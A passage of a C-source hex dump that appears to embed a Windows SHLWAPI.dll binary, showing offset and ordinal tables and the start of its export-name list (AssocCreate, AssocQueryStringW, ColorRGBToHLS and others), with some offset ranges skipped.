//éè...ô..Yô..iê.. /* 000A40 */ "\x0C\xC0\x04\x00\x8F\xDE\x05\x00\xC4\xDE\x05\x00\x45\xDE\x05\x00" //.À...Þ..ÄÞ..EÞ.. /* 000A60 */ "\x6A\xDE\x05\x00\x0E\xE0\x05\x00\x77\xE0\x05\x00\xE3\xE0\x05\x00" //jÞ...à..wà..ãà.. /* 000A80 */ "\x53\xE1\x05\x00\xFC\xDE\x05\x00\x91\xDF\x05\x00\x3D\xE3\x05\x00" //Sá..üÞ...ß..=ã.. /* 000AA0 */ "\xAF\xE3\x05\x00\x09\x98\x04\x00\x83\xC7\x04\x00\x90\x30\x02\x00" //.ã.......Ç...0.. /* 000AC0 */ "\x9D\x7D\x01\x00\x43\xC8\x04\x00\x1B\xC9\x04\x00\x03\xCA\x04\x00" //.}..CÈ...É...Ê.. /* 000AE0 */ "\xCF\xCD\x01\x00\x6B\xCA\x04\x00\xAA\xA1\x04\x00\x5D\x89\x00\x00" //ÏÍ..kÊ......]... /* 000B00 */ "\x20\x21\x04\x00\x7C\xAA\x00\x00\x7E\x61\x04\x00\x18\x68\x00\x00" //.!..|...~a...h.. /* 000B20 */ "\xB5\xC4\x01\x00\x99\x34\x01\x00\x0A\x6B\x04\x00\x36\x33\x01\x00" //.Ä...4...k..63.. /* 000B40 */ "\x81\x33\x01\x00\xD2\x33\x01\x00\xB1\x20\x05\x00\x5F\xE4\x01\x00" //.3..Ò3......_ä.. /* 000B60 */ "\xE1\x6F\x05\x00\x79\x9E\x00\x00\x89\xEB\x04\x00\x07\xEB\x04\x00" //áo..y....ë...ë.. /* 000B80 */ "\x42\xD9\x04\x00\xF4\xDB\x04\x00\x25\x42\x02\x00\x1D\x0A\x01\x00" //BÙ..ôÛ..%B...... /* 000BA0 */ "\x9D\x93\x05\x00\x91\x68\x04\x00\xC4\x73\x00\x00\x30\x13\x02\x00" //.....h..Äs..0... /* 000BC0 */ "\x76\xEC\x04\x00\x21\xED\x04\x00\xCC\xED\x04\x00\x98\xEF\x04\x00" //vì..!í..Ìí...ï.. /* 000BE0 */ "\x27\xB9\x04\x00\x07\xF0\x04\x00\x77\xF0\x04\x00\xE1\x8B\x05\x00" //'....ð..wð..á... /* 000C00 */ "\x77\x8B\x05\x00\xB6\x1A\x01\x00\x28\xA3\x05\x00\xC3\xE8\x01\x00" //w.......(...Ãè.. /* 000C20 */ "\x95\xC9\x04\x00\x55\xA1\x04\x00\x1C\x0A\x05\x00\xC9\x5C\x05\x00" //.É..U.......É\.. /* 000C40 */ "\xC8\x5D\x05\x00\x39\x7C\x05\x00\x3E\x6D\x05\x00\xB2\x6D\x05\x00" //È]..9|..>m...m.. /* 000C60 */ "\x0D\x6E\x05\x00\x0B\xDD\x05\x00\xE8\xF9\x04\x00\xB3\xE4\x04\x00" //.n...Ý..èù...ä.. /* 000C80 */ "\x17\xE5\x04\x00\x51\xAC\x05\x00\x5B\x9E\x04\x00\xE3\xBD\x01\x00" //.å..Q...[...ã... /* 000CA0 */ "\xD6\xAD\x05\x00\x69\xAD\x05\x00\xD2\xAE\x05\x00\x33\xAE\x05\x00" //Ö...i...Ò...3... /* 000CC0 */ "\x87\x44\x04\x00\x0F\x67\x00\x00\xCB\xF4\x04\x00\xA2\xF3\x04\x00" //.D...g..Ëô...ó.. /* 000CE0 */ "\xC2\xFB\x04\x00\xEC\x28\x01\x00\xEB\xB1\x05\x00\x53\xB0\x05\x00" //Âû..ì(..ë...S... /* 000D00 */ "\xB3\x06\x05\x00\x90\x04\x05\x00\x47\x0C\x05\x00\x80\x0E\x05\x00" //........G....... /* 000D20 */ "\xF6\x0E\x05\x00\x63\x66\x04\x00\x35\x04\x01\x00\x6B\x8D\x05\x00" //ö...cf..5...k... /* 000D40 */ "\xB9\x8D\x05\x00\x07\x8E\x05\x00\x4A\x8E\x05\x00\xD7\x36\x02\x00" //........J...×6.. /* 000D60 */ "\xDA\xF1\x04\x00\x8E\x8E\x05\x00\x9B\x8E\x05\x00\xEE\x50\x00\x00" //Úñ..........îP.. /* 000D80 */ "\xA6\x50\x00\x00\xAB\x32\x06\x00\x4D\xA5\x04\x00\x96\xA5\x04\x00" //.P...2..M....... /* 000DA0 */ "\x0A\xAF\x04\x00\x9D\xAF\x04\x00\x76\xA3\x05\x00\xE5\xE9\x01\x00" //........v...åé.. /* 000DC0 */ "\xF0\x36\x02\x00\xC9\x8E\x05\x00\x6C\x7C\x01\x00\xAE\x7C\x01\x00" //ð6..É...l|...|.. /* 000DE0 */ "\x54\xBA\x04\x00\xA7\x1C\x02\x00\xE4\x48\x00\x00\x5B\x33\x05\x00" //T.......äH..[3.. /* 000E00 */ "\x98\xBF\x00\x00\x8B\xB2\x05\x00\xCA\x9F\x05\x00\xBB\xCE\x04\x00" //........Ê....Î.. /* 000E20 */ "\x4C\x83\x05\x00\xC1\x82\x05\x00\xEB\x80\x04\x00\xE6\x7E\x00\x00" //L...Á...ë...æ~.. /* 000E40 */ "\x85\x74\x04\x00\x62\x29\x01\x00\xF4\x8B\x04\x00\x9F\x1A\x05\x00" //.t..b)..ô....... /* 000E60 */ "\x51\x80\x04\x00\x06\x14\x05\x00\x30\x80\x04\x00\xE5\x13\x05\x00" //Q.......0...å... /* 000E80 */ "\xE5\x7A\x04\x00\x26\x7B\x00\x00\xFD\x42\x01\x00\xBB\xF5\x04\x00" //åz..&{..ýB...õ.. /* 000EA0 */ "\xCA\xF9\x04\x00\xDA\x6D\x00\x00\xB4\x68\x00\x00\x29\xF1\x05\x00" //Êù..Úm...h..)ñ.. /* 000EC0 */ "\xF5\xF8\x04\x00\x8F\x6D\x00\x00\x7C\x93\x04\x00\x21\x1D\x05\x00" //õø...m..|...!... /* 000EE0 */ "\xEB\x26\x04\x00\x11\x26\x04\x00\xD5\x24\x04\x00\x0C\x8F\x05\x00" //ë&...&..Õ$...... /* 000F00 */ "\x23\x9A\x01\x00\x86\x42\x01\x00\xA7\xB1\x00\x00\x2E\x98\x01\x00" //#....B.......... /* 000F20 */ "\xA9\x5E\x00\x00\x1D\x88\x00\x00\xA9\x31\x06\x00\x52\x6F\x05\x00" //.^.......1..Ro.. /* 000F40 */ "\x4A\x94\x01\x00\x79\x3C\x02\x00\x9B\x6F\x05\x00\xD4\x4A\x06\x00" //J...y<...o..ÔJ.. /* 000F60 */ "\x78\x4B\x06\x00\xD0\xB9\x01\x00\x0B\x02\x06\x00\xA7\xC2\x00\x00" //xK..Ð........Â.. /* 000F80 */ "\xBE\xBE\x00\x00\x66\x8F\x05\x00\x14\xF1\x04\x00\x77\xF1\x04\x00" //....f....ñ..wñ.. /* 000FA0 */ "\x71\xA7\x00\x00\x78\x37\x01\x00\x39\xB5\x01\x00\x6F\xB9\x01\x00" //q...x7..9...o... /* 000FC0 */ "\x31\xB8\x01\x00\xAC\x83\x01\x00\xA4\x28\x06\x00\xE2\x28\x06\x00" //1........(..â(.. /* 000FE0 */ "\x66\x29\x06\x00\xE3\x10\x01\x00\xD3\x3C\x01\x00\x9D\x00\x05\x00" //f)..ã...Ó<...... /* 001000 */ "\xBE\xA5\x00\x00\x4D\xFE\x04\x00\x99\x6B\x01\x00\xA9\x29\x06\x00" //....Mþ...k...).. /* 001020 */ "\x44\x75\x01\x00\xCA\x70\x01\x00\xA9\x94\x01\x00\xA2\xB5\x00\x00" //Du..Êp.......... /* 001040 */ "\x75\x2D\x01\x00\xCF\x78\x01\x00\x42\x73\x05\x00\x7C\xBA\x01\x00" //u-..Ïx..Bs..|... /* 001060 */ "\xAE\xB6\x01\x00\xB7\xA1\x00\x00\x32\xAF\x01\x00\xCD\x90\x05\x00" //........2...Í... /* 001080 */ "\x23\xBE\x00\x00\x4D\x6B\x01\x00\xD8\x82\x01\x00\xAB\x2E\x06\x00" //#...Mk..Ø....... /* 0010A0 */ "\x0A\x2A\x06\x00\xF2\x2F\x06\x00\x8A\x82\x01\x00\xAC\x2F\x06\x00" //.*..ò/......./.. /* 0010C0 */ "\x1B\x28\x06\x00\x64\x28\x06\x00\xAC\x83\x01\x00\xA4\x28\x06\x00" //.(..d(.......(.. /* 0010E0 */ "\xD9\x7F\x01\x00\x2C\x2B\x06\x00\x82\x80\x01\x00\x18\x29\x06\x00" //Ù...,+.......).. /* 001100 */ "\x6E\x2B\x06\x00\x69\xB2\x01\x00\x34\x91\x05\x00\x67\x32\x02\x00" //n+..i...4...g2.. /* 001120 */ "\x0D\x71\x05\x00\x29\x94\x05\x00\x85\x84\x05\x00\x1E\xA9\x01\x00" //.q..)........... /* 001140 */ "\xBB\xB8\x04\x00\x09\xA0\x00\x00\x50\x86\x05\x00\x3F\x93\x05\x00" //........P...?... /* 001160 */ "\xED\x6B\x06\x00\xF6\xC4\x01\x00\x45\x94\x00\x00\xD2\x5F\x05\x00" //ík..öÄ..E...Ò_.. /* 001180 */ "\xD4\x7B\x00\x00\x7B\x30\x01\x00\x3E\x48\x06\x00\x0A\x46\x06\x00" //Ô{..{0..>H...F.. /* 0011A0 */ "\x60\x48\x06\x00\x16\x48\x06\x00\xE5\x45\x06\x00\xB9\xCC\x02\x00" //`H...H..åE...Ì.. /* 0011C0 */ "\xC5\x32\x05\x00\xD3\x3E\x01\x00\xE9\x56\x00\x00\xB8\x91\x05\x00" //Å2..Ó>..éV...... /* 0011E0 */ "\x4B\x4E\x00\x00\xC9\x2A\x02\x00\xBC\x22\x06\x00\x88\xFF\x04\x00" //KN..É*..."...ÿ.. /* 001200 */ "\x30\xB1\x00\x00\xCE\xA7\x01\x00\x65\xC4\x02\x00\x1A\x7E\x00\x00" //0...Î...eÄ...~.. /* 001220 */ "\xB4\x12\x04\x00\xC2\x8B\x01\x00\x17\x8B\x01\x00\x45\x5B\x06\x00" //....Â.......E[.. /* 001240 */ "\xF9\x72\x01\x00\x72\x38\x02\x00\xBD\x48\x04\x00\x1D\x76\x00\x00" //ùr..r8...H...v.. /* 001260 */ "\xAD\x60\x04\x00\x8D\x05\x01\x00\x9D\x6E\x00\x00\x33\x8F\x04\x00" //.`.......n..3... /* 001280 */ "\x2B\x53\x01\x00\x3C\x91\x01\x00\xDD\x7A\x00\x00\x44\x74\x00\x00" //+S..<...Ýz..Dt.. /* 0012A0 */ "\x4E\x40\x00\x00\x2B\x90\x01\x00\x91\x78\x00\x00\x80\x91\x01\x00" //N@..+....x...... /* 0012C0 */ "\xD9\x79\x00\x00\xD7\x71\x04\x00\x3A\x75\x00\x00\x3D\x84\x04\x00" //Ùy..×q..:u..=... /* 0012E0 */ "\x29\x91\x04\x00\x22\x1B\x05\x00\x65\x15\x05\x00\xA5\x2F\x02\x00" //)..."...e..../.. /* 001300 */ "\xD7\xD9\x01\x00\x7F\x70\x04\x00\x99\x7D\x00\x00\xEE\xF5\x01\x00" //×Ù...p...}..îõ.. /* 001320 */ "\x69\x68\x00\x00\xAC\xC1\x00\x00\x87\x70\x00\x00\x50\x77\x04\x00" //ih...Á...p..Pw.. /* 001340 */ "\xCD\xBF\x01\x00\x18\x8F\x04\x00\x1F\x87\x01\x00\xEB\x70\x04\x00" //Í...........ëp.. /* 001360 */ "\x0D\x10\x05\x00\x02\x70\x04\x00\x11\x42\x01\x00\x7C\x7A\x04\x00" //.....p...B..|z.. /* 001380 */ "\xDA\xC2\x01\x00\x34\x74\x04\x00\xEA\x6B\x00\x00\xFC\x79\x04\x00" //ÚÂ..4t..êk..üy.. /* 0013A0 */ "\xD1\x30\x02\x00\xA8\x75\x04\x00\x74\x83\x04\x00\x9A\x14\x05\x00" //Ñ0...u..t....... /* 0013C0 */ "\x99\xAE\x01\x00\xBA\x73\x04\x00\x9E\x29\x01\x00\xC9\x7C\x04\x00" //.....s...)..É|.. /* 0013E0 */ "\xCA\x12\x05\x00\x0F\x83\x04\x00\xD3\x7D\x00\x00\xDC\x72\x04\x00" //Ê.......Ó}..Ür.. /* 001400 */ "\x4C\x43\x01\x00\xA1\x92\x01\x00\xE2\x67\x00\x00\x29\x75\x04\x00" //LC......âg..)u.. /* 001420 */ "\x76\x74\x00\x00\x7D\x79\x04\x00\x4F\x11\x05\x00\x6E\xC7\x01\x00" //vt..}y..O...nÇ.. /* 001440 */ "\x90\x12\x05\x00\x75\x8F\x01\x00\x29\x36\x02\x00\xED\x73\x04\x00" //....u...)6..ís.. /* 001460 */ "\x99\x7F\x00\x00\x73\x7F\x00\x00\x7F\x6E\x00\x00\xC5\x79\x04\x00" //....s....n..Åy.. /* 001480 */ "\xA1\xBB\x00\x00\x8D\x80\x04\x00\xBC\x11\x02\x00\x42\x88\x04\x00" //............B... /* 0014A0 */ "\xBF\x4A\x00\x00\xC8\x78\x04\x00\x66\x28\x01\x00\xCC\x87\x04\x00" //.J..Èx..f(..Ì... /* 0014C0 */ "\xAD\xB0\x00\x00\xFC\x76\x04\x00\x97\x10\x05\x00\xBA\x8F\x04\x00" //....üv.......... /* 0014E0 */ "\x15\xC0\x01\x00\x46\x70\x04\x00\x4B\x42\x01\x00\x85\x82\x04\x00" //.À..Fp..KB...... /* 001500 */ "\xCF\x74\x00\x00\x28\x82\x04\x00\x2C\xB0\x00\x00\x8E\x71\x04\x00" //Ït..(...,....q.. /* 001520 */ "\x03\x69\x00\x00\x3C\x73\x04\x00\x66\x7C\x00\x00\xD2\x81\x04\x00" //.i..o..è.../w..Çv.. /* 001700 */ "\xD3\x1B\x04\x00\x7A\x1C\x04\x00\xC7\x1A\x04\x00\x70\x1B\x04\x00" //Ó...z...Ç...p... /* 001720 */ "\x4F\xA5\x00\x00\xDD\x1C\x04\x00\xA1\x50\x01\x00\x67\x1D\x04\x00" //O...Ý....P..g... /* 001740 */ "\x07\x1E\x04\x00\xF8\x11\x02\x00\xA4\x8F\x00\x00\x04\x23\x04\x00" //....ø........#.. /* 001760 */ "\x31\x23\x04\x00\x92\xA8\x01\x00\x02\x8D\x00\x00\x6A\x00\x01\x00" //1#..........j... /* 001780 */ "\x2F\x43\x00\x00\x59\x8B\x00\x00\x9A\x8C\x00\x00\xA7\x1E\x04\x00" ///C..Y........... /* 0017A0 */ "\x8D\x06\x01\x00\xCE\x51\x01\x00\x85\x8E\x00\x00\xBE\x1F\x04\x00" //....ÎQ.......... /* 0017C0 */ "\x30\x1F\x04\x00\x4F\x27\x04\x00\xCB\x8A\x01\x00\x9D\x20\x04\x00" //0...O'..Ë....... /* 0017E0 */ "\xBD\x4F\x01\x00\x5D\x61\x05\x00\xA8\x6E\x05\x00\xC6\x7C\x01\x00" //.O..]a...n..Æ|.. /* 001800 */ "\xDB\x68\x01\x00\x6F\x97\x00\x00\xF0\xEB\x01\x00\xA0\x4B\x04\x00" //Ûh..o...ðë...K.. /* 001820 */ "\x73\x6C\x00\x00\x24\x47\x04\x00\x6E\x47\x04\x00\xD7\x4C\x04\x00" //sl..$G..nG..×L.. /* 001840 */ "\xA3\x73\x01\x00\xBC\x32\x02\x00\x60\x6B\x00\x00\xFC\x4B\x04\x00" //.s...2..`k..üK.. /* 001860 */ "\xC6\x04\x01\x00\x12\xAA\x01\x00\xAD\xC4\x02\x00\x50\x7E\x00\x00" //Æ........Ä..P~.. /* 001880 */ "\x4B\x4C\x04\x00\xCC\x44\x04\x00\xCD\x66\x00\x00\x9E\x6A\x00\x00" //KL..ÌD..Íf...j.. /* 0018A0 */ "\xA5\x84\x00\x00\x99\x0F\x02\x00\xE6\x07\x01\x00\x94\x6F\x00\x00" //........æ....o.. /* 0018C0 */ "\xF8\x6D\x00\x00\x36\x71\x00\x00\x63\x67\x00\x00\x3A\x68\x00\x00" //øm..6q..cg..:h.. /* 0018E0 */ "\xF4\xCE\x02\x00\x82\x67\x00\x00\x9F\x4F\x04\x00\xE5\x4F\x04\x00" //ôÎ...g...O..åO.. /* 001900 */ "\xF2\xC9\x01\x00\x61\x49\x04\x00\xD1\xE6\x01\x00\x80\x52\x04\x00" //òÉ..aI..Ñæ...R.. /* 001920 */ "\xEB\x52\x04\x00\xBD\x48\x04\x00\x1D\x76\x00\x00\x13\xC9\x01\x00" //ëR...H...v...É.. /* 001940 */ "\x85\xCD\x02\x00\x64\x45\x04\x00\x99\xF6\x01\x00\x40\x03\x01\x00" //.Í..dE...ö..@... /* 001960 */ "\xFF\x44\x04\x00\x8F\x4C\x04\x00\x6E\xB0\x00\x00\xB8\x47\x04\x00" //ÿD...L..n....G.. /* 001980 */ "\x9D\x38\x01\x00\x69\x4A\x04\x00\x21\x4B\x04\x00\x3F\x6D\x00\x00" //.8..iJ..!K..?m.. /* 0019A0 */ "\x41\x50\x04\x00\x53\x26\x01\x00\x60\x46\x04\x00\xCA\x46\x04\x00" //AP..S&..`F..ÊF.. /* 0019C0 */ "\x26\x4F\x01\x00\xFE\xC4\x02\x00\x8C\x7E\x00\x00\x1D\x4D\x04\x00" //&O..þÄ...~...M.. /* 0019E0 */ "\x4C\x48\x04\x00\x1C\x6E\x00\x00\xB4\x45\x04\x00\x70\xBB\x01\x00" //LH...n...E..p... /* 001A00 */ "\x75\x6A\x01\x00\x33\x46\x04\x00\x43\xBB\x01\x00\x84\xAF\x00\x00" //uj..3F..C....... /* 001A20 */ "\xB0\x49\x04\x00\x27\x2F\x01\x00\xEF\xFA\x05\x00\xCA\xFB\x05\x00" //.I..'/..ïú..Êû.. /* 001A40 */ "\x65\x68\x01\x00\x91\xE0\x01\x00\xB0\x66\x01\x00\x99\xE1\x01\x00" //eh...à...f...á.. /* 001A60 */ "\xAD\xED\x05\x00\xFD\x39\x02\x00\x02\xFA\x05\x00\xFA\xD8\x01\x00" //.í..ý9...ú..úØ.. /* 001A80 */ "\x7D\xF7\x05\x00\x6A\x1A\x02\x00\xF2\x1E\x02\x00\xD7\x25\x02\x00" //}÷..j...ò...×%.. /* 001AA0 */ "\x6A\xF8\x05\x00\xBB\xCC\x00\x00\xC2\xEE\x05\x00\xFD\xEE\x05\x00" //jø...Ì..Âî..ýî.. /* 001AC0 */ "\x49\xFF\x05\x00\x26\x00\x06\x00\xB2\xD9\x01\x00\x0E\x00\x06\x00" //Iÿ..&....Ù...... /* 001AE0 */ "\x42\x32\x02\x00\xBC\xBC\x00\x00\x70\xF9\x05\x00\x4C\xDF\x01\x00" //B2......pù..Lß.. /* 001B00 */ "\x8C\x82\x00\x00\xF6\x93\x00\x00\x12\x80\x00\x00\x01\x92\x00\x00" //....ö........... /* 001B20 */ "\x18\x2D\x00\x00\x24\x2D\x00\x00\x3A\x2D\x00\x00\x4B\x2D\x00\x00" //.-..$-..:-..K-.. /* 001B40 */ "\x5A\x2D\x00\x00\x69\x2D\x00\x00\x7B\x2D\x00\x00\x92\x2D\x00\x00" //Z-..i-..{-...-.. /* 001B60 */ "\xA9\x2D\x00\x00\xBB\x2D\x00\x00\xC4\x2D\x00\x00\xCD\x2D\x00\x00" //.-...-..Ä-..Í-.. /* 001B80 */ "\xDD\x2D\x00\x00\xEB\x2D\x00\x00\xF9\x2D\x00\x00\x0E\x2E\x00\x00" //Ý-..ë-..ù-...... /* 001BA0 */ "\x1C\x2E\x00\x00\x30\x2E\x00\x00\x44\x2E\x00\x00\x55\x2E\x00\x00" //....0...D...U... /* 001BC0 */ "\x5E\x2E\x00\x00\x6F\x2E\x00\x00\x80\x2E\x00\x00\x8D\x2E\x00\x00" //^...o........... /* 001BE0 */ "\x9A\x2E\x00\x00\xAC\x2E\x00\x00\xBE\x2E\x00\x00\xD0\x2E\x00\x00" //............Ð... /* 001C00 */ "\xE2\x2E\x00\x00\xEE\x2E\x00\x00\xFA\x2E\x00\x00\x09\x2F\x00\x00" //â...î...ú..../.. /* 001C20 */ "\x18\x2F\x00\x00\x2A\x2F\x00\x00\x3C\x2F\x00\x00\x49\x2F\x00\x00" //./..*/.....>.. /* 0023A0 */ "\x18\x3E\x00\x00\x21\x3E\x00\x00\x2B\x3E\x00\x00\x34\x3E\x00\x00" //.>..!>..+>..4>.. /* 0023C0 */ "\x3C\x3E\x00\x00\x4A\x3E\x00\x00\x58\x3E\x00\x00\x62\x3E\x00\x00" //<>..J>..X>..b>.. /* 0023E0 */ "\x6E\x3E\x00\x00\x7A\x3E\x00\x00\x84\x3E\x00\x00\x8D\x3E\x00\x00" //n>..z>...>...>.. /* 002400 */ "\x96\x3E\x00\x00\xA6\x3E\x00\x00\xB6\x3E\x00\x00\xC7\x3E\x00\x00" //.>...>...>..Ç>.. /* 002420 */ "\xD8\x3E\x00\x00\xE4\x3E\x00\x00\xF0\x3E\x00\x00\xFC\x3E\x00\x00" //Ø>..ä>..ð>..ü>.. /* 002440 */ "\x08\x3F\x00\x00\x1B\x3F\x00\x00\x2E\x3F\x00\x00\x39\x3F\x00\x00" //.?...?...?..9?.. /* 002460 */ "\x44\x3F\x00\x00\x54\x3F\x00\x00\x64\x3F\x00\x00\x70\x3F\x00\x00" //D?..T?..d?..p?.. /* 002480 */ "\x7C\x3F\x00\x00\x85\x3F\x00\x00\x8E\x3F\x00\x00\x95\x3F\x00\x00" //|?...?...?...?.. /* 0024A0 */ "\xA5\x3F\x00\x00\xB5\x3F\x00\x00\xC2\x3F\x00\x00\xCF\x3F\x00\x00" //.?...?..Â?..Ï?.. /* 0024C0 */ "\xD6\x3F\x00\x00\xE3\x3F\x00\x00\xF0\x3F\x00\x00\xFB\x3F\x00\x00" //Ö?..ã?..ð?..û?.. /* 0024E0 */ "\x06\x40\x00\x00\x12\x40\x00\x00\x63\x01\xF3\x01\xF4\x01\xF5\x01" //.@...@..c.ó.ô.õ. /* 002500 */ "\xF6\x01\xF7\x01\x35\x02\x36\x02\x37\x02\x38\x02\x39\x02\x3A\x02" //ö.÷.5.6.7.8.9.:. /* 002520 */ "\x3B\x02\x3C\x02\x22\x02\x3D\x02\x0D\x00\x0E\x00\x3E\x02\x3F\x02" //;.<.".=.....>.?. /* 002540 */ "\x40\x02\x41\x02\x42\x02\x1C\x00\x43\x02\x44\x02\x45\x02\x46\x02" //@.A.B...C.D.E.F. /* 002560 */ "\x47\x02\x48\x02\x49\x02\x4A\x02\x4B\x02\x4C\x02\x4D\x02\x4E\x02" //G.H.I.J.K.L.M.N. /* 002580 */ "\x4F\x02\x50\x02\x51\x02\x52\x02\x53\x02\x54\x02\x55\x02\x56\x02" //O.P.Q.R.S.T.U.V. /* 0025A0 */ "\x57\x02\x58\x02\x59\x02\x5A\x02\x5B\x02\x5C\x02\x5D\x02\x5E\x02" //W.X.Y.Z.[.\.].^. /* 0025C0 */ "\x5F\x02\x60\x02\x61\x02\x62\x02\x63\x02\x64\x02\x65\x02\x66\x02" //_.`.a.b.c.d.e.f. /* 0025E0 */ "\x67\x02\x68\x02\x69\x02\x6A\x02\x6B\x02\x6C\x02\x6D\x02\x6E\x02" //g.h.i.j.k.l.m.n. /* 002600 */ "\x6F\x02\x70\x02\x71\x02\x72\x02\x73\x02\x74\x02\x75\x02\x76\x02" //o.p.q.r.s.t.u.v. /* 002620 */ "\x77\x02\x78\x02\x79\x02\x7A\x02\x7B\x02\x7C\x02\x7D\x02\x7E\x02" //w.x.y.z.{.|.}.~. /* 002640 */ "\x7F\x02\x80\x02\x81\x02\x82\x02\x83\x02\x84\x02\x85\x02\x86\x02" //................ /* 002660 */ "\x87\x02\x88\x02\x89\x02\x8A\x02\x8B\x02\x8C\x02\x8D\x02\x8E\x02" //................ /* 002680 */ "\x8F\x02\x90\x02\x91\x02\x92\x02\x93\x02\x94\x02\x95\x02\x96\x02" //................ /* 0026A0 */ "\x97\x02\x98\x02\x99\x02\x9A\x02\x9B\x02\x9C\x02\x9D\x02\x9E\x02" //................ /* 0026C0 */ "\x9F\x02\xA0\x02\xA1\x02\xA2\x02\xA3\x02\xA4\x02\xA5\x02\xA6\x02" //................ /* 0026E0 */ "\xA7\x02\xA8\x02\xA9\x02\xAA\x02\xAB\x02\xAC\x02\xAD\x02\xAE\x02" //................ /* 002700 */ "\xAF\x02\xB0\x02\x06\x00\xB1\x02\xB2\x02\xB3\x02\xB4\x02\xB5\x02" //................ /* 002720 */ "\xB6\x02\xB7\x02\xB8\x02\x0F\x00\xB9\x02\xBA\x02\xBB\x02\xBC\x02" //................ /* 002740 */ "\xBD\x02\xBE\x02\xBF\x02\xC0\x02\xC1\x02\xC2\x02\xC3\x02\xC4\x02" //......À.Á.Â.Ã.Ä. /* 002760 */ "\xC5\x02\x09\x00\xC6\x02\xC7\x02\xC8\x02\xC9\x02\x02\x02\xCA\x02" //Å...Æ.Ç.È.É...Ê. /* 002780 */ "\xE6\x01\x07\x00\xCB\x02\xCC\x02\xCD\x02\xCE\x02\xCF\x02\xD0\x02" //æ...Ë.Ì.Í.Î.Ï.Ð. /* 0027A0 */ "\xD1\x02\xD2\x02\xD3\x02\xD4\x02\xD5\x02\xD6\x02\xD7\x02\xD8\x02" //Ñ.Ò.Ó.Ô.Õ.Ö.×.Ø. /* 0027C0 */ "\xD9\x02\xDA\x02\xDB\x02\xDC\x02\xDD\x02\xDE\x02\xDF\x02\xE0\x02" //Ù.Ú.Û.Ü.Ý.Þ.ß.à. /* 0027E0 */ "\xE1\x02\xE2\x02\xE3\x02\xE4\x02\xE5\x02\xE6\x02\xE7\x02\xE8\x02" //á.â.ã.ä.å.æ.ç.è. /* 002800 */ "\xE9\x02\xEA\x02\xEB\x02\xEC\x02\xED\x02\xEE\x02\xEF\x02\xF0\x02" //é.ê.ë.ì.í.î.ï.ð. /* 002820 */ "\xF1\x02\xF2\x02\xF3\x02\xF4\x02\xF5\x02\xF6\x02\xF7\x02\xF8\x02" //ñ.ò.ó.ô.õ.ö.÷.ø. /* 002840 */ "\xF9\x02\xFA\x02\x08\x00\xFB\x02\xFC\x02\xFD\x02\xFE\x02\xFF\x02" //ù.ú...û.ü.ý.þ.ÿ. /* 002860 */ "\x00\x03\x01\x03\x02\x03\x03\x03\x04\x03\x05\x03\x06\x03\x07\x03" //................ /* 002880 */ "\x08\x03\x9A\x00\x9B\x00\x9C\x00\x9D\x00\x09\x03\x0A\x03\x0B\x03" //................ /* 0028A0 */ "\x0C\x03\x0D\x03\x0E\x03\x0F\x03\x10\x03\x11\x03\x12\x03\x13\x03" //................ /* 0028C0 */ "\x14\x03\x15\x03\x16\x03\x17\x03\x18\x03\x19\x03\x1A\x03\x1B\x03" //................ /* 0028E0 */ "\x1C\x03\x1D\x03\x1E\x03\x1F\x03\x20\x03\x21\x03\x22\x03\x23\x03" //..........!.".#. /* 002900 */ "\x24\x03\x25\x03\x26\x03\x27\x03\x28\x03\x29\x03\x2A\x03\x2B\x03" //$.%.&.'.(.).*.+. /* 002920 */ "\x2C\x03\x2D\x03\x2E\x03\x2F\x03\x30\x03\x31\x03\x32\x03\x33\x03" //,.-.../.0.1.2.3. /* 002940 */ "\x34\x03\x35\x03\x36\x03\x37\x03\x38\x03\x39\x03\x3A\x03\x3B\x03" //4.5.6.7.8.9.:.;. /* 002960 */ "\x3C\x03\x3D\x03\x3E\x03\x3F\x03\x40\x03\x41\x03\x42\x03\x43\x03" //<.=.>.?.@.A.B.C. /* 002980 */ "\x44\x03\x45\x03\x46\x03\x47\x03\x48\x03\x49\x03\x4A\x03\x4B\x03" //D.E.F.G.H.I.J.K. /* 0029A0 */ "\x4C\x03\x4D\x03\x4E\x03\x4F\x03\x50\x03\x51\x03\x52\x03\x53\x03" //L.M.N.O.P.Q.R.S. /* 0029C0 */ "\x54\x03\x55\x03\x56\x03\x57\x03\x58\x03\x59\x03\x53\x48\x4C\x57" //T.U.V.W.X.Y.SHLW /* 0029E0 */ "\x41\x50\x49\x2E\x64\x6C\x6C\x00\x41\x73\x73\x6F\x63\x43\x72\x65" //API.dll.AssocCre /* 002A00 */ "\x61\x74\x65\x00\x41\x73\x73\x6F\x63\x47\x65\x74\x50\x65\x72\x63" //ate.AssocGetPerc /* 002A20 */ "\x65\x69\x76\x65\x64\x54\x79\x70\x65\x00\x41\x73\x73\x6F\x63\x49" //eivedType.AssocI /* 002A40 */ "\x73\x44\x61\x6E\x67\x65\x72\x6F\x75\x73\x00\x41\x73\x73\x6F\x63" //sDangerous.Assoc /* 002A60 */ "\x51\x75\x65\x72\x79\x4B\x65\x79\x41\x00\x41\x73\x73\x6F\x63\x51" //QueryKeyA.AssocQ /* 002A80 */ "\x75\x65\x72\x79\x4B\x65\x79\x57\x00\x41\x73\x73\x6F\x63\x51\x75" //ueryKeyW.AssocQu /* 002AA0 */ "\x65\x72\x79\x53\x74\x72\x69\x6E\x67\x41\x00\x41\x73\x73\x6F\x63" //eryStringA.Assoc /* 002AC0 */ "\x51\x75\x65\x72\x79\x53\x74\x72\x69\x6E\x67\x42\x79\x4B\x65\x79" //QueryStringByKey /* 002AE0 */ "\x41\x00\x41\x73\x73\x6F\x63\x51\x75\x65\x72\x79\x53\x74\x72\x69" //A.AssocQueryStri /* 002B00 */ "\x6E\x67\x42\x79\x4B\x65\x79\x57\x00\x41\x73\x73\x6F\x63\x51\x75" //ngByKeyW.AssocQu /* 002B20 */ "\x65\x72\x79\x53\x74\x72\x69\x6E\x67\x57\x00\x43\x68\x72\x43\x6D" //eryStringW.ChrCm /* 002B40 */ "\x70\x49\x41\x00\x43\x68\x72\x43\x6D\x70\x49\x57\x00\x43\x6F\x6C" //pIA.ChrCmpIW.Col /* 002B60 */ "\x6F\x72\x41\x64\x6A\x75\x73\x74\x4C\x75\x6D\x61\x00\x43\x6F\x6C" //orAdjustLuma.Col /* 002B80 */ "\x6F\x72\x48\x4C\x53\x54\x6F\x52\x47\x42\x00\x43\x6F\x6C\x6F\x72" //orHLSToRGB.Color /* 002BA0 */ "\x52\x47\x42\x54\x6F\x48\x4C\x53\x00\x44\x65\x6C\x61\x79\x4C\x6F" //RGBToHLS.DelayLo /* 002BC0 */ "\x61\x64\x46\x61\x69\x6C\x75\x72\x65\x48\x6F\x6F\x6B\x00\x44\x6C" 